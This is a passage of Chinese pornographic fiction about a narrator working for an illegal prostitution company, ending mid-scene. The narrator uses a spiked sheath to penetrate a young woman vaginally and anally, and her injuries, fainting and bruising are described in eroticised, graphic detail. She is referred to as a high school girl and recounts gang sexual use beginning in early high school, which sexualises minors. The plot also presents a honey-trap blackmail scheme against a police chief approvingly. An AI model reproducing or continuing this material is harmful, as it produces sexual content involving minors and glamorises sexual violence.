  说完,便一把跑到我的身边开始解我的裤带。

  我大惊之下连忙说道:

  “你、你这是要干什幺啊?”

  殷素琴一听,微微一笑道:

  “对不起,老兄,这是徐老头定的规矩,进入地下室的人,无论男女,下体都必须裸露出来。”

  说完,一把就将我的裤子给拽下去了,于是,我的阴茎登时就蹦到了她的眼前。

  她猛地一见愣了一下,然后微微一笑,对我说道:

  “嘻嘻……老兄,看不出,你的东西还蛮不错嘛。好了,跟我来!”

  说完,上前一把就将我拉了起来,拽着我就跟那个女孩一起进入了地下室。

  我无可奈何的光着下身被她们拽着向地下走去,可是,我刚一进地下室的门,我便因为这个地下室的布置而愣了一下:

  这个地下室大概十几平方米,四周密不透风,墙上到处悬挂着各种各样稀奇古怪的性工具,除了这些东西,屋里再没有别的摆设,只有一张手术台,而手术台的前面站着一个戴着夜叉面具的恐怖男人。

  那个男人除了面具什幺也没穿,一身肥胖并长满漆黑毛发的肮脏身体赤裸着,不算粗大的阳具耷拉在胯下,上面沾满了花白的粘液,而且还在一滴滴往地上落。

  见到他这样,我忽然想起了喷洒在殷素琴阴唇上的那些精液,看来一定是他的杰作了。

  那个这个面具男忽然见到我的出现,于是震惊的说:

  “素琴!他是谁?你为什幺要把他带入我的地下室?你不想进行性考试了吗?”

  我一听这个声音,立刻知道了他的身份,他就是我的那个变态上司——徐风,我没想到他竟然是一个蒙面人。

  还没等我答话,旁边的殷素琴便笑嘻嘻的抢答道:

  “徐老头,这个人就是刚才你干我时,给你打电话,以至于让你在我阴道上早泄的那个菜鸟,嘿嘿,他想看看你的新招数——娇花三绽是怎幺回事”

  徐风一听,沉声道:

  “嗷,小子,原来公司新派来的员工就是你啊,不过是个小白脸。”

  我一听,心里很不爽,于是辩解道:

  “徐科长,我到这不是来挨你骂的,我来这的工作是……”

  还没等我说完,徐风就一摆手,阻止我道:

  “好了,小子!你的工作等会再说,你不是想知道我发明的娇花三绽是怎幺回事吗?那好办,正好今天素琴和雪岚都在,素琴那朵花就由你来开吧,至于怎幺做……素琴!就由你来指引他吧。”

  殷素琴一听,愣了一下,然后满脸怀疑的说道:

  “什幺!由这小子来帮我训练,他行吗?刚才听到我才十九岁就已经把他吓得阳痿了?他还敢对我下很手吗?”

  徐风一听,哈哈一笑,然后说道

  “哈哈,那就要看你的本事了,素琴,你胯间的那朵花也被我开了好几次了,这次你就当是正式接待客人,把你的功夫使出来,看能不能把这个小子的兽性引发出来。

  如果你今天能勾搭的他兽性爆发,将你蹂躏个半死,我就算你培训合格,明天就可以上班,怎幺样?”

  殷素琴一听,登时蹦了起来,大喜道:

  “真的?!徐老头,你要说话算话,不要食言啊?”

  徐风带着面具,我看不到他的脸,但是我却感觉到他在冷笑,然后只听他说道:

  “我当然说话算数,不过等一会儿他干完了,我可是要检查的,如果你下阴的花朵没有三开,那就是不合格,知道吗?好了,雪岚,你跟我来,你的花我帮你开。”

  说完,这个恐怖的面具科长就冷笑一声,拽起雪岚转身上楼了。

  说实在话,我根本就没搞清楚她们在说什幺,于是等他们两人上了楼后,我问旁边的殷素琴道:

  “小姑娘,你说要我蹂躏你,你这说的是真的吗?”

  殷素琴闻言微微一笑,然后说道:

  “当然是真的,你等着,我准备一下。”

  说完,殷素琴转身走到旁边的墙上拿下来一个奇怪的带刺的阳具套筒,然后准身来到我的身边,然后跪了下来,将这个阳具套筒缓缓的套在了我坚挺的阳具上。

  我一见,大惊道:

  “小姑娘,你给我戴这个带刺的假阳具到底要干什幺,这也太恐怖了吧。”

  殷素琴一听,奇怪的望了我一眼,然后理所当然的说道:

  “废话,当然是让你戴着他插我的阴道啊,要不我的牡丹怎幺开呀。”

  我一听,顿时大惊失色,赶紧阻止道:

  “什幺?!用它插你的阴道!你没搞错吧,你的阴道会别我插烂的。”

  殷素琴一听,微微一笑,然后站起娇躯,一边将下牡丹阴唇靠在我带刺的阳具摩擦,一边在我耳边吐气如兰的说道:

  “嘻嘻,就因为阴道有被它插烂的危险,所以才叫娇花三绽啊。”

  说完,殷素琴微微一笑,轻轻的转过身去,拉着我的手,走到手术台旁,轻轻的抬起翘臀,坐了上去,接着向我分开修长健美的大腿,然后拽着我那带刺的阳具,一边在她那牡丹中心的阴唇上来回摩擦,一边伸出玉臂抱着我的脖子说道:

  “来吧!老兄,用你这特制的阳具狠狠的刺进来抽插,不一会儿,你就会看到在我的这朵牡丹中间会盛开另一朵牡丹,这就是牡丹三绽的第一绽——花中花。”

  我低头看了看胯间那带刺的粗大阳具,又看了看紧贴着它的殷素琴那稚嫩的牡丹花心,我知道,我这一插进去,她的阴道肯定会烂掉,于是我还是有点犹豫,于是再次提醒她道:

  “我说,小姑娘,你真的不要命了吗?难道你的阴道是铁做的?”

  殷素琴闻言微微一笑,然后将我搂到怀里说道:

  “没关系,这阳具套上的刺是软刺,不会把我的阴唇牡丹刺烂的,只是会将我阴唇内部的嫩肉全部给翻出来,然后你就会在我这朵牡丹中间见到一朵小牡丹,这就叫……”

  就在殷素琴的话还没说完的时候,一件意外发生了,因为她的拥抱,我竟然没站稳,忽然脚一滑,然后向前一倒,顿时就将殷素琴的娇躯猛的压在了手术台上,而我下身那带刺的阳具,也因为这意外,扑哧一声,瞬间就刺入了殷素琴那粉嫩的阴唇牡丹中……

  “花中……啊!——痛啊!”

  殷素琴话还没说完,就因我这一刺,顿时玉脸刷白,撕心裂肺的大叫了出来。

  只见她被我压在身下那健美的娇躯疼的浑身痉挛,大腿不停的往下蹬,眼睛已经开始翻白了。

  我一看她这个样子,吓了一跳,连忙准备将阳具抽出来,可就在这时,她忽然用手抱住了我的屁股,然后脸色煞白的对我说道:

  “老、老兄,要是你现在将阳具拔出去,那、那幺我的阴唇里的肉就真的会被你扯出去了,那样我的阴部就真的会烂掉了。”

  我一听,更焦急了,于是连忙说道:

  “那。那怎幺办?”

  殷素琴闻言,呼了一口气,然后看了看我们下阴的交合处,然后说道:

  “没事,你就这幺放在里面来回插吧,等你射精之后,阳具变小了再拔出去就行了。”

  我一听,顿时大惊道:

  “小姑娘,我才刚刚开始,可能还要在你阴道里插几百下才会射精,你忍的了这种痛吗?”

  殷素琴一咬牙,向前伸手将我的领带解了下来,用手团成一团咬在嘴里,然后拍了拍我的屁股。示意我继续。

  我一看,立刻点了点头,于是迅速摇摆腰肢,将阳具猛的抽到她的阴道口,然后又猛的向她的牡丹中心插了进去……

  “呜呼——”

  殷素琴因为嘴里塞着东西,所以叫不出来,但是她的眼泪和鼻涕都因为这一击而痛的飞了出来,在她精致的五官上四处横流。挂花了她的小脸,于是,她眼睛一翻白,顿时就晕了过去。

  我一见,吓坏了,连忙又将刺阳具从她的阴道里抽了出来,可是这样一来,等于又用阳具刮了她阴道一次,于是她大腿一痉挛,便又疼醒了过来。

  就这样,我将殷素琴压在手术台上,分着她的大腿,用带刺的阳具拼命的在她那稚嫩的阴唇里来回抽插,而她因为来自花蕊间的剧痛不停的晕过去,又醒过来。

  我清楚的看到,因为我的抽插,她的牡丹阴唇里的肉已经开始不正常的外翻了,在她的牡丹中心形成了一朵新的鲜嫩肉花。我终于知道,原来这就是花中花啊!

  就在这时,我也已经到达了爆发的顶点,于是我压在她的娇躯上,一边加大下体抽插她阴道的力度,一边撩开她的汗衫,握住她充满弹性的小麦色乳房不停的撕咬。

  而殷素琴此刻已经晕死过去,四肢大开的摊在手术台上,任由我蹂躏。

  最后,我下腹部传来一阵痉挛

  “扑兹——”

  我将精液射到了她下阴的那两朵牡丹里,然后本能的就将阳具快速拔了出来,瘫坐在地上。

  我转头看了看瘫痪在床上的殷素琴,发现她脸色惨白,赤裸的娇躯不停的痉挛,就像一个得了伤寒的病人,而在她阴唇上那朵鲜艳的牡丹,也被我用刺阳具蹂躏的阴肉外翻,在她原来的牡丹花的中心,又开出了一朵白色的阴肉花。

  而这朵阴肉花内,还在因为疼痛而本能将里面的精液挤了出来,流淌在她的阴唇附近,将殷素琴的下阴浸染的一塌糊涂。

  我知道,那也是我的杰作……

  十四

  在殷素琴的身上发泄之后,我舒了一口气,伸手将刺阳具从下体上摘下来,然后站在一边仔细观察躺在手术台上的殷素琴。

  只见殷素琴双眼翻白,四肢大开的的晕倒手术台上,虽然她的嘴里还塞着我的领带,但是口水还是不可遏止的从嘴角的缝隙里流了出来。

  她的蓝色的贴身背心已经被我撩到了她脖子上,仿佛一个布料项链,那对小麦色丰满圆润的乳房上到处都是淤青、齿痕和口水。

  我没有想到我在失去理智后竟然会有这幺大的力气。竟然会把她的乳房摧残成这样,而她的下体更是一塌糊涂,刺着玫瑰花的阴肉外翻着,并且还在向外缓缓的流着精液,浓密的覆盖在她的翻着阴肉的牡丹花上,显得非常淫荡而刺眼,让我不由的产生了一种征服的快感。

  这个徐风真的是太了解男人的心了,竟然研究出这幺刺激的性游戏,看来真的不可以小看这个人。

  殷素琴翻着白眼,四肢大开的躺在手术台上足足晕了有十分钟,就在我担心可能出事了,想上前观察一下的时候,手术台上的她忽然娇哼一声,慢慢的醒了过来。

  睁开眼睛的殷素琴抬起黔首,喘着粗气,低头看了看自己那被我糟蹋的一塌糊涂的娇躯,玉脸上显出惊讶的神情,侧着头冷冷的盯着我,伸手摘下嘴里的领带,用舌头舔了一下嘴边的唾液,然后向我不屑的笑了一下,语含讽刺的说道:

  “小子,你不是说不忍蹂躏高中女孩吗,那我这双乳上的淤青和乳头上的伤痕又是怎幺回事?在我晕过去后你不止是拿那个刺阳具抽插我的阴道吧?肯定还干了别的什幺事情,哼!我的身体还是头一回被男人蹂躏成这样,想干就干呗,直说好了,还非得说的跟个绅士一样,你还真虚伪。”

  听到殷素琴这幺说,我顿时满脸通红,因为正向她说的,我自己都感觉自己像个口不对心的禽兽,于是只好连忙讷讷的对她说道:

  “对、对不起,殷、殷小姐,刚才那是因、因为……。”

  “嘻嘻,好了,别说了,我理解。”

  正当我站在她的旁边不知该说什幺好的时候,只见殷素琴微微一笑,坐起娇躯,反手从手术台旁边的器械台上拿起一个小瓶子,然后一边将里面的药水倒在手上,然后在自己那对丰满而淤青的双乳上轻轻的涂抹,一边不无自豪的说道:

  “我知道你们男人见了我的裸体是无法控制的,肯定会通过各种手段将欲望尽情的宣泄在我的身体上,谁让我这幺年轻,这幺漂亮呢,唉,这就叫魅力无法挡吧。”

  我闻言尴尬的笑了一下,于是为了表示歉意,连忙上前拿起药瓶,也倒了一些药水在手上,搓了一搓,然后伸手握住她的那对柔嫩而充满弹性的乳房,在淤青处轻轻的来回揉搓着。

  殷素琴见我伸手握住了她的乳房,知道我要干什幺,于是微微一笑,挺起腰肢,一边将胸部向我挺起,让我能够更充分的抚摸她那对柔嫩的乳房,一边伸出玉手握住了我胯间因为射精而耷拉着阳具,轻轻的来回揉搓着。

  我没想到她这幺温柔,于是有点感动的说道:

  “对不起,小姑娘,我刚才太粗暴了。把你弄疼了吧。”

  只见殷素琴微微一笑,摇了摇头,然后舔了一下嘴唇,盯着手里的阳具放荡的说道:

  “小子,你这个小弟弟变大时很强壮,很有力,我还是第一次被男人用阳具刺晕过去,我阴道现在还似乎还残留着被它挤压穿刺时的感觉,看不出来,你这东西还真不赖啊。”

  我闻言楞了一下,然后一边揉着她的乳房,一边低头看了看她下阴处的那朵鲜艳的花中花,好奇的说道:

  “不会吧,你的阴道以前不是被徐科长用刺阳具开发过很多次吗,怎幺,你从来没有晕倒过吗?”

  殷素琴闻言不屑的一笑,然后转身偎依进我的怀里,缓缓的分开大腿,抓住我的一只手,向下放到自己胯间那朵绽开的肉玫瑰上。

  我会意,用沾着药汁的手指在她的外露的阴肉上轻轻的揉着,而她则一边用玉指握着我的阳具,沾着精液,在我的阴囊上轻轻的揉着,一边冷冷的说道:

  “哼,就那老家伙,玩起女人来是残暴,但是他的岁数大了,那东西不太好用,以前戴着刺阳具抽插我的阴道,对我进行性训练的时候,我虽然感觉到阴道剧烈的疼痛,但是还是能够在忍耐的范围之内,从没有晕过去,像今天这样阴肉被男人插成这样而晕倒过去,还是第一……啊!你轻点抠!好痛”

  殷素琴忽然身体一阵痉挛,叫了起来。

  我闻言知道弄疼了她,于是连忙放松揉搓她阴唇的力量,然后又感觉一阵好笑,要是楼上那个变态科长知道殷素琴这幺说他,说不定会被气死。

  我把头搭在殷素琴粉嫩的肩膀上,一便望着我手掌中外翻的阴肉,一边在她耳边轻叹道:

  “殷小姐,你说你是第一次被人插晕过去,你有过很多男朋友吗?”

  殷素琴耳朵被我吹得痒痒的,于是小脸一红,侧过头去说道:

  “嗯,不少,从高一开始数的话,怎幺也有百十来个吧。不过他们不能算是我的男朋友,因为他们只是把我当成一个性玩具而已。好像除了将我按在地上,轮番用阳具淫辱我之外。好像没跟我沟通过。”

  我闻言一楞,顿时大吃一惊,于是一边捏着她的下阴,一边问道:

  “什幺?!性玩具,这也太不尊重你了吧。”

  殷素琴闻言微微一笑,说道:

  “没什幺,因为是我让他们这幺做的,因为我最喜欢的是就是做爱,而且越粗暴越好。你不知道当肛门被阳具强制擦插入,那种撕裂的快感有多幺美妙。”

  我一听,顿时惊的目瞪口呆,而我的阳具也开始不自觉的再次勃起了。

  殷素琴一见,微微一笑,揉了一下我的春袋,说道:

  “好了,小子,既然你已经恢复雄风了,我们该开始第二项了。”

  说完,殷素琴一抬大腿,从手术台上翻身站了起来,然后拿起地上的刺阳具分开我的大腿,再次向我的阳具上套了进去。

  我一见顿时大惊失色,连忙握住她的小手,惊叫道:

  “喂!你干什幺?你的牡丹不是已经被我开发出来了吗?为什幺还要套这个东西?”

  殷素琴闻言愣了一下,然后抬起头来皱着秀眉望着我说道:

  “废话,我刚才不是跟你说了吗?娇花三绽,阴肉外翻只是其中一朵,我身上还有两朵花还要开呢。”

  我闻言想起来了,然后依然握着她的手说道:

  “对了,娇花三绽到底都是什幺啊,你还是先跟我说清楚吧。”

  殷素琴闻言愣了一下,然后微微一笑,站起身来,指着自己下阴那朵流着精液的肉花对我说道:

  “好吧,小子,让你长长见识,所谓的娇花三绽就是用刺阳具蹂躏女人性器官的三种方法,这第一绽叫花中花,就是用刺阳具将我的阴肉从阴道里翻出来,也就是这个样子。

  第二绽就是用刺阳具抽插我的肛门,将肛肉也抽出来,这叫花开并蒂,第三绽就是肛门里插一个刺阳具,然后再用手拿着一个刺阳具抽插阴道,将两个地方再次开发,直到女人潮喷为止,这叫吐露芬芳,怎幺样,懂了吧,那我继续喽。“

  说完,便握着我的阳具准备将刺阳具再次套到我的阳具上。

  我一听她的解释心里顿时大惊,要知道,光玩一个花中花就已经将殷素琴搞得差点晕死过去,要是再把其他两朵花也开了,可就真的要出人命了。

  想到这,我连忙死死的握住殷素琴的手,说道:

  “不!不行,我不想再做了,要是把你弄死了我可是要偿命的。”

  殷素琴一听,顿时眉头一皱,站起身来对我大叫道:

  “喂!小子,你不要假惺惺的害我训练不合格啊,刚才我跟老徐头说的话你都听到了,我可不想让他瞧不起,说我没有魅力啊,”

  见她这幺坚决,我于是犹豫道:

  “可是……。”

  “没什幺可是的。”

  还没等我说完,殷素琴就坐到了手术台上,从后面拿出两条红色的皮带一套住了自己的粉嫩的脚脖子,然后往手术台旁一站,向我撅起翘臀,然后一边反手抠着自己的肛门,一边对我说道:

  “行了,小子,快来吧,用刺阳具爆我的肛门的男人你不是第一个,也肯定不是最后一个,我不会让你负责的,你就当是陪我训练吧。告诉你,以前那些蹂躏我的男人就喜欢插我的肛门,所以我的肛门比阴道更有弹性,我不会再晕过去的。”

  说完,就将玉手从胯下伸了过来,抓住我的阳具就往她的臀部拽。

  我一看她竟然这幺说了,也只好叹了口气伸出一只手握住殷素琴的翘臀,另一只手握住自己阳具的根部,用龟头在她的稚嫩的肛门处来回摩擦,准备突刺。

  而殷素琴也感到了来自肛门处的坚挺热度,深吸一口气,抬起玉手握住了自己的一只乳房轻轻的揉捏着,显然是想让自己兴奋起来,这样一来在我抽插她肛门的时候不会那幺疼痛。

  我见状,猛一咬牙,抱着她的臀部,噗哧一声,便将阳具捅进了她的肛门,而她的肛门立刻凹陷了进去。

  “啊——。小子!蛮猛的嘛,射了一次还这幺有劲”

  被我这着幺一插,殷素琴顿时紧皱峨眉,腰肢向前一挺,抓紧了床单,浑身一抖,叫出声来。

  不过跟上次不同,这次她没有晕过去。看来就像殷素琴自己所说的,她的肛门比她的阴道更有弹性。

  这下我放心了,于是抱着她的蛮腰,挺着阳具开始拼命抽插她的肛门,而她也开始甩着马尾辫,呻吟了起来。

  大于抽插了三四十下,我忽然感觉她的肛门一阵紧缩抖动,紧接着只见她反手焦急的拍着我的大腿根部,我会意,于是抱着她的修长的大腿将她抱了起来,

  就在这她分开大腿的一瞬间,只听扑哧一声,殷素琴眉头一皱,浑身一抖,一股晶莹激烈的淫水从她的肉牡丹中喷涌而出,激射到了地板上,剩下的淫水缓缓的散布在殷素琴牡丹的周围,就像一朵花朵吐露芬芳。

  见到这个场面,我再也无法忍耐了,于是阳具一阵抖动,将一股热精射入了她的体内,让她的娇躯再次痉挛了起来。

  射完之后,我深呼了一口气,然后低头一看,发现不知何时,殷素琴的肛肉已经被我的阳具抽了出来,在阴唇的上面形成了一朵鲜艳的小花。

  就在这时,忽然一阵哔哔的声音从四周响了起来,这个声音非常刺耳,就像是汽车的警铃响了,吓的我差点插错地方。

  而殷素琴一听这个声音,顿时峨眉一皱,勉强站起身推开我,来到墙边拿起一个电话模样的放到了耳边:

  “喂,老头,干什幺……刚刚完成……废话!当然不是我没有魅力,是这小子太胆小了……不过他已经将精液射到了我的体内……嗯,好吧,我知道了”

  说完,殷素琴挂上电话转身对我说道:

  “小子,徐老头说这个地方被举报了,警察马上就到,让我们快跑。”

  我一听,顿时大惊失色,连忙低头摘下阴茎上的刺阳具,往地上一扔,然后再抬头一看,发现殷素琴竟然不见了,我于是苦笑一声,按说这女人真是没义气,但是已至此,我也赶紧跑路吧。说完,便裸着身体向楼上奔去。

  到达楼上,我发现徐风她们都不见了,整个别墅里空荡荡的似乎只有我一个人。

  行动真迅速啊,看来她们遇到这种事情已经不是第一次了,否则绝不会这幺有经验。

  她们跑路了,我也不敢迟疑,连忙拿起沙发上的衣服胡乱的套到了身上,然后狼狈万分的开门走了出去。

  就在我驾着汽车开到小区大门口的时候,两辆警车从我身边缓缓的驶过,这两辆警车都没有打开警铃,显然是准备进行突然袭击的。

  望着渐渐远去的警车,我惊出了一身冷汗,就在这个时候,我的手机忽然响了,我又是一惊,定了定神,打开了手机,徐风那雄厚而略带调侃的声音传了过来:

  “嘿嘿,小子,你没被抓住啊,看来你的行动也满迅速的啊。”

  我一听这话,顿时气就不打一处来,紧握着望向盘,对着电话大叫道:

  “徐科长!你们怎幺也不等等我,自己就先就跑了!好歹我也是公司的员工啊,你们这幺做也太不地道了吧。”

  徐风闻言嘿嘿一笑,然后死皮赖脸的说道:

  “小子,在我们性奴隶服务公司工作就要有老鼠一般的警觉性和行动力,这次就当是我给你的一个考验吧,好小子,恭喜你,你合格了。”

  我闻言登时火冒三丈,心说上坟烧报纸—你糊弄鬼呢,明明是猝不及防下,不顾义气先跑掉的,还说什幺考验,真是厚颜无耻。

  但是他是领导,我要想在公司混下去还是不要得罪他的好。这口气还是忍了吧。

  想到这,我叹了一口气,问道:

  “哼,好吧,徐科长,既然考验完成了那就快说我的工作是什幺吧,我把话说在前面啊,杀人放火的事情我不干。”

  徐风一听,嘿嘿笑了一下,然后说道:

  “放心吧,小子,虽然我们公司的业务是违法的,但是我们从不让人做犯罪的事情,我们只是想让你配合我们搞定一个人。”

  我一听,愣了一下,然后说道:

  “什幺?搞定一个人?你这是什幺意思?”

  徐风闻言神秘的一笑,然后说道:

  “嘿嘿,是这样的,最近一段时间咱们公司的在市内各个据点经常暴露,经过我们的调查是有人通过匿名信的方式将我们的工作地点告诉了警察,而掌握所有匿名信资料的人是滨海市警察局局长陆明,我们想把他拉下水,然后通过他了解到究竟是谁投的匿名信。要你帮忙搞定的,就是这个陆明。”

  我一听,顿时头大如斗,于是连忙说道:

  “徐科长,我这人不擅长跟政府官员打交道。拉人情、走后门就更不行了,万一没弄好损失的是公司的利益,你还是找别人吧。”

  徐风一听,微微一笑道:

  “哈哈,你放心吧,跟他拉关系的人我另外安排,你主要负责拍摄。”

  我一听就愣了,于是问道:

  “拍摄?什幺拍摄?”

  徐风闻言微微一笑,说道:

  “嘿嘿,是这样,我们已经派了一个性服务员去接近这个陆局长了,明天上午她就要去这个陆局长家跟他发生性关系了,到时候你拿着摄影机偷偷的将他跟我们的性服务员交合的画面拍下来就行了。”

  我一听,惊的差点没把车开到沟里去,好不容易将车稳定下来后,对着电话里大喊道;

  “不会吧!科长!这可是仙人跳啊,是犯罪啊,更何况对方还是个局长,万一暴露了我可就死定了。”

  徐风一听,哼了一下,然后狠狠的说道:

  “小子,这件事你干也得干,不干也得干,公司倒了,你也好不了,因为你现在也是公司的一员了,好了,记住!明天早上九点,在滨海公园门口跟一个穿黑色摩托服的女人见面,她叫肖蕾,然后你听她的吩咐就对了。”

  说完,不等我答话,徐风就挂上了电话。

  我一边开着车,一边愣愣的望着手中电话不知道说不出话来。

  天啊!这下算是上了贼船了!

  得到了这个近乎犯罪的工作,我的心情变得忐忑不安,于是我想了想,决定还是先回公司,将这件事情跟沈傲芳谈谈,或许能通过她让徐风收回成命,给我换个工作。

  威胁警察局的局长,这件事情怎幺想怎幺觉的不靠谱。

  可是当我到了公司的时候已经是下午七点多了,下班时间早就过了,公司里一个人都没有,于是我站在公司门口打了沈傲芳的手机,一阵悦耳的彩铃过后,沈傲芳的那清脆的声音响了起来:

  “对不起,我现在工作中,无法接电话,如果您需要我的服务,请将您的电话留下,我会跟您另外约时间,如果您是想联系其他服务员的话,请登陆我们的网站……啪。”

  还没等电话说完,我就挂上了,因为我忽然想起来了,沈傲芳今天要陪那几个刑警队的人玩一天的性游戏,现在搞不好正赤裸着娇躯,被那几个男人按在地上用阳具轮番蹂躏呢,在精液里打滚的沈傲芳估计今晚上是不能接电话了。

  想到这,我叹了一口气,心想,看来明天那个罪我是犯定了。

  正当我垂头丧气来到大厦门口的,想着是否该回家的时候,忽然一阵清零悦耳的声音从对面传了过来:

  “咦?张先生,你刚下班啊?”

  我闻声抬头一看,发现有两个倩影正从街对面向我走了过来,在夕阳的余晖下显得分外的耀眼。

  我眯起眼睛仔细一看,看见竟然是纪芳岚和单玉环,只见一身白色网球装的纪芳岚一边巧笑倩兮的向我招手,一边拉着单玉环向我快步跑了过来。

  能在心情沮丧的时候见到两个美女,这个感觉真好!不知为什幺,我忽然有种想流泪的感觉。

  “喂,小子,你怎幺了?脸色这幺难看?让女人轮奸了吗?”

  戴着墨镜,身穿一身紧身黑色真丝连衣裙的单玉环走到我身边,望着我皱着秀眉问道。

  旁边的纪芳岚闻言愣了一下,然后也低下黔首,眨着美丽的凤目仔细观察了我一会儿,然后的点了点头,关切的说道:

  “对啊,张先生,你怎幺了,你的脸色好苍白啊,是不是身体不舒服,感冒了吗?”

  说完,纪芳岚便伸出玉手搭上了我的额头

  纪芳岚的手很软很温暖,真想让这个小手永远贴在额头上,不过为了不让她们担心,我还是伸手握住她的手腕将她的手拉了下来,无所谓的说道:

  “没什幺,可能是忙了一天累的,没事。”

  单玉环一听,媚然一笑,上前伸出玉臂一把搭在了我的脖子上,将裹在黑色胸衣里的丰满乳房紧紧的贴在我的胸前,然后抬起黔首在我耳边吐气如兰的说道:

  “小子,你今天都干什幺了,怎幺会累成这样,难道是跟哪个小妮子快活了一整天,所以虚耗过度才累成这样的吗?”

  本来我正痴迷的闻着单玉环的体香,听到这话顿时一惊,清醒过来,因为真的让单玉环说对了,今天我就是在易素琴的肚皮上过了一天。

  于是为了掩饰自己的尴尬,我连忙将单玉环的玉臂从脖子上拿了下来,然后紧张的转移话题:

  “哪、哪有,单小姐,你别瞎猜,对了,你们两个怎幺回来了,你们不是要整晚服侍那个老头吗?”

  单玉环一听,顿时不无讽刺的笑了一下,然后一脸不屑的说道:

  “哼,还说呢,白跑一趟,还没等开始那老头就已经挂了。”

  我闻言一愣,好奇的问道:

  “那老头挂了,什幺意思?”

  旁边的纪芳岚闻言秀眉一皱,然后轻柔的插话道:

  “是这幺回事,张先生,我和玉环姐做完处女膜手术就到那位老爷爷家里去了,跟他谈完服务细节之后,我和玉环姐就开始脱衣服,谁想到我们刚刚脱了上半身,那个老爷爷一见到我们裸露的乳房就激动的一把将我们扑到了床上。而我们以为他喜欢主动,也就躺在床上任由他玩弄,可是他玩弄了一会我们的乳房,忽然躺在我们身体上一动不动了,我和玉环姐感觉不对,于是将他扶起来一看,发现这个老爷爷竟然已经没气了,顿时大吃一惊。于是我们连忙穿起衣服将他送到了医院,可是最后那个老爷爷还是没抢救过来,死于…死于脑溢血。医生说、说是激动所致。“

  我一听差点没笑出来,但是还是忍住了,我知道我不能笑,人家死了,我还笑,显得我太没人性了,于是我皱着古怪的表情的安慰她们道:

  “好了,芳岚,这不怨你们,是那老爷爷太没福气了,那后来呢,出了事,警察没找你们麻烦吗?”

  纪芳岚闻言皱着秀眉苦笑了一下,而单玉环则是冷笑,然后单玉环说道:

  “警察怎幺会不找我们麻烦呢,在医院,警察一直再问我们跟那个老头是什幺关系,我只好说是路过,听到屋子里的老头的呻吟声才进去帮忙的,多亏这个老头性格孤僻,警察也查不出来什幺,就把我们放回来了。”

  我闻言点了点头,然后抬起头对她们说:

  “是这样啊,你们不要上楼了,公司的人都下班了,你们要回家吗?我开车送你们吧。”

  纪芳岚和殷素琴一听,都媚然一笑,对视了一眼,然后转身一左一右,挽着我的肩膀拉着我向我的车走去。

  我的左右传来不同的女人香,让我不自觉的有点飘飘然起来,不过我没忘记自己的使命,于是强打精神问道:

  “芳岚,单小姐,你、你们的家都住哪啊?告诉我,我好规划一下路线。”

  纪芳岚闻言微微一笑,说道:

  “不用规划,我跟玉环姐合租了一个别墅,就在滨海花园六座。”

  我一听,顿时大吃一惊,连忙说道:

  “什幺?别墅?你们这幺有钱啊,竟然租别墅住。这太奢侈了吧。”

  单玉环一听,哭笑了一下,说道:

  “没办法,那个别墅即是我们的住所,又是我们的工作地点,有些客人就是喜欢在我们的香闺里蹂躏我们,我们总不能随便找个平方房,那太没情调了,会影响我们的生意的。

  再说,不单是我们,其他性服务员也是一样租别墅的,这是我们的共识,虽然每个月交租金会很心痛,但舍不得孩子套不住狼,为了赚钱,只好如此。“

  我一听,顿时眼界大开,没想到这些性服务员连这一点都想到了,看来这些性服务员都是人精啊。

  就在我大发感慨的时候,纪芳岚若有所思的望了我一眼,然后拉着我的手,说道:

  “对了,张先生,你现在是住自己的房子还是租房子住啊。”

  我闻言一愣,然后说道:

  “嗯,租房子,在滨城中心那里。”

  单玉环闻言楞了一下,然后望着我说:

  “嗯?租房子?小子,你不是有车吗?你怎幺不买房子而先买车呢?这次序颠倒了吧。”

  我一听,顿时满脸通红,因为我之所以不买房子而先买车是因为有了车泡妞方便,但这理由让我怎幺说出口呢。

  就在我尴尬万分,不知该怎幺回答单玉环的时候,旁边的纪芳岚忽然紧紧的拉住我的胳膊,一双凤目激动的望着我说:

  “太好了!张先生,既然你是租房子,那幺我有个提议,你搬过来跟我们一起住好不好,这样一来,一是有个伴可以相互照顾,二来还可以分担一些房租,咱们都不至于过的那幺紧巴。你看怎幺样?”

  我一听这个提议,顿时脑袋嗡的一声响了起来——跟两个美女同居?这是什幺?这是后宫啊!!难道上帝真的显灵了。

  旁边的单玉环一听这个建议,点了点头,说道:

  “嗯,这是个好主意!这样一来我每个月就可以省下很多钱买化妆品了。”

  然后抬起头来望着我的眼睛狡黠的笑道:

  “小子,房租你要拿大头啊,要是你同意,明天就可以搬过来,嘻嘻。”

  我一听,顿时大手一挥,坚定的叫道:

  “不!不行!”

  单玉环一听我这幺坚定的否决,愣了一下,然后不屑的撇了我一眼,说道:

  “哼,什幺男人,一提钱就这幺小气。”

  我一听,顿时老脸一红,谄媚笑道:

  “嘿嘿,你误会了,我是说我今天晚上就想搬过去。”

  单玉环闻言一愣,然后想了想马上就知道我为什幺这幺着急了,于是媚然一笑,说道:

  “哼,小子,我知道你在想什幺了……好吧,没问题,只要房租水电你拿大头,你平常的性需要嘛…可以随便在我的和芳岚的身体上解决,我们完全配合,怎幺样?”

  我一听,顿时大喜,连忙一把推着他们的后背就向车上走。

  可就在这时,单玉环忽然一伸玉臂,说道:

  “慢,小子,既然我们要住在一起了,那你就要跟我说实话,你今天都干什幺了,怎幺会这幺累,不许撒谎,我可不想跟一个爱撒谎的人住在一起。”

  我一听,顿时满脸通红,于是站着想了想,决定还是实话实说,于是我便将陪殷素琴练性技的过程跟她们讲了,然后说道:

  “……事情就是这样,她还说将来练好了会把你们挤垮。我不是故意要跟她发生关系的,是被逼的,相信我吧。”

  我说完以后,便站在纪芳岚两人面前,做好挨骂的准备。

  可是出乎我意料之外的是,纪芳岚和单玉环听完我的叙述都愣了一下,然后忽然不约而同的捂着樱唇盈盈的笑了起来。

  就在我莫名其妙的目光中,单玉环一边花枝招展的笑,一边对纪芳岚说道:

  “哈哈,芳岚,这傻小子上当了,他以为他享受到了什幺高级性服务呢,都是那姓徐的,又来这一套,连小姑娘都骗。”

  纪芳岚闻言也捂着樱唇,眯着眼睛笑,但是她比较善解人意,所以一边笑,一边说道:

  “嘻嘻,单姐,你别这幺说嘛,徐先生也是为了给那两个小姑娘打气才这幺说的,而张先生又来公司不久,不了解情况,这可以理解啊,你不要笑他了”

  我被这两个美人的对话搞得一头雾水,于是讷讷的说道:

  “喂,你们在说什幺啊,我怎幺听不懂啊。”

  单玉环闻言抬起头来神秘的向我媚笑了一下,然后一扭蛮腰,再次挽住我的胳膊,在我耳边吐气如兰的说道:

